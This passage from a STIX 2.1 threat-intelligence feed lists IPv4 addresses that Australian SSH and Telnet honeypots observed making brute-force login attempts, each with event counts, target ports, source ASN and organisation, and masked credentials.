      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.235.54.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 267741. Organisation(s): REDLAM S.R.L.",
      "id": "indicator--222cacec-5460-4110-94ed-9474fde15813",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.169.52.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--bbc7188c-026e-469c-bc9d-84f01c90aa03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.96.65.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--1c6b8a56-a2fe-4c95-825a-415aa68d4a2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.96.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--9f8354e9-4801-45c4-bfc4-cd3b931c8bd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 937. Sensors involved: Heralding. Target ports: 5900. Source country: FR. ASN(s): 21499. Organisation(s): Host Europe GmbH. Passwords observed (masked): f******l, t******1, 0*******0, 1******1, 1**5.",
      "id": "indicator--53ffab43-b15d-49b3-b953-a67a9917651f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.205.187.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 132420. Organisation(s): 282, Sector 19.",
      "id": "indicator--bd5e304a-3df3-4f85-81f0-4a1387d5728d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.53.148.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited.",
      "id": "indicator--2dfa31d9-bf23-4231-901b-45d14ac4f49a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.88.55.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--5f2746a8-35e7-4253-90af-75bd44ef245a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.115.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--6262ffa5-7ff1-4cea-96af-cb82c9c4708d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.49.59.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 211484. Organisation(s): Ysz Trading Co., Limited.",
      "id": "indicator--df876011-2fd6-4647-8702-f4f693a4675a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.110.219.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--0b97ec3b-9c72-4a38-b95c-33960a67b4b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.93.102.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): u****u. Passwords observed (masked): **.",
      "id": "indicator--bda46af8-3b58-4c84-a546-827fb541d791",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.234.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--852a933c-e2e1-4089-abb6-ef612a8823af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.194.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216210. Organisation(s): Didim Net Elektronik Haberlesme Ticaret Limited Sirketi.",
      "id": "indicator--0d1d48ef-704c-4602-b96e-da0a75ac5123",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.171.91.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 28015. Organisation(s): MERCO COMUNICACIONES.",
      "id": "indicator--f9ba45e2-cb0e-4e2b-ad80-9488f9031044",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.107.122.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 201363. Organisation(s): YOURnet LLC.",
      "id": "indicator--b340ea23-4ca9-4794-95f9-b589606a6f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.113.17.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--6022c27b-7580-4f24-b8c0-20ae0514a8b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.147.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 211908. Organisation(s): Horizon Scope Mobile Telecom WLL.",
      "id": "indicator--37b0f08b-6227-4ef6-bbaf-fb5397f9243b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.180.222.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T19:15:10.000Z",
      "valid_until": "2026-06-09T19:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135959. Organisation(s): Onebim Vietnam Limited Company.",
      "id": "indicator--fc658df8-a2de-473a-8b0a-832a7aa30089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.126.161.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 136557. Organisation(s): Host Universal Pty Ltd.",
      "id": "indicator--126a8de6-4778-42f4-94ce-01652cf54672",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.246.250.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 30455. Organisation(s): HostVenom LLC. Usernames observed (masked): r**t, t**t. Passwords observed (masked): S******y, r*********3, t**t, u******o.",
      "id": "indicator--ed092e21-3fa1-4d05-81e5-6e3d85aef031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.128.55.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--ded53d57-1e56-49a7-a1cd-05b63942efe3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.173.146.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 38673. Organisation(s): Korea Cable TV Kwangju Broadcasting.",
      "id": "indicator--52fbd3a4-3ec9-44a2-b89f-5abd11803811",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.91.155.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5333e110-0988-45eb-99f1-2a799f8360e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.230.56.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2e29adbe-0b00-4a70-b56e-19a91b9a4ad9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.182.145.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270942. Organisation(s): GLINK TELECOMUNICACAO LTDA.",
      "id": "indicator--11f191c6-4b58-4784-a548-4ec92ede0688",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.189.91.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--1b6cec2e-d31c-4891-b27a-a48ed463d9ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.53.122.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LS. ASN(s): 37057. Organisation(s): VODACOM-LESOTHO.",
      "id": "indicator--0536dfd1-d5ac-4713-af8b-349f6683dc3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.189.145.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--b257a76c-9bb6-4ce9-8314-6b159d9e7885",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.55.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4515. Organisation(s): PCCW IMS Ltd PCCW Business Internet Access. Usernames observed (masked): *, a***n, ***. Passwords observed (masked): , *, a***n.",
      "id": "indicator--6ec1d35c-9aac-4553-a81f-6c047f089f5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.177.143.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): g***t. Passwords observed (masked): s*****t.",
      "id": "indicator--652a4021-8f5d-4cf7-9512-cbb9257d4c94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.58.124.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 29119. Organisation(s): Aire Networks Del Mediterraneo Sl Unipersonal.",
      "id": "indicator--f70f05c4-3d79-4f56-8533-bef8d8c97acb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.154.90.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--4ecac92e-8704-4e04-9860-b2ead25d15e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.189.145.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 30058. Organisation(s): FDCservers.net.",
      "id": "indicator--adead65b-5db3-43d9-81d6-0bc8f8e3389e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.7.233.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5413. Organisation(s): Wavenet Limited.",
      "id": "indicator--e7e0a5f0-354e-424f-bc1b-df844a99be08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.232.32.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:15:10.000Z",
      "valid_until": "2026-06-09T20:15:08.000Z"
    },
    {
      "created": "2026-05-08T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--0269f9ec-067a-48a9-81ad-66298b065327",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.72.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
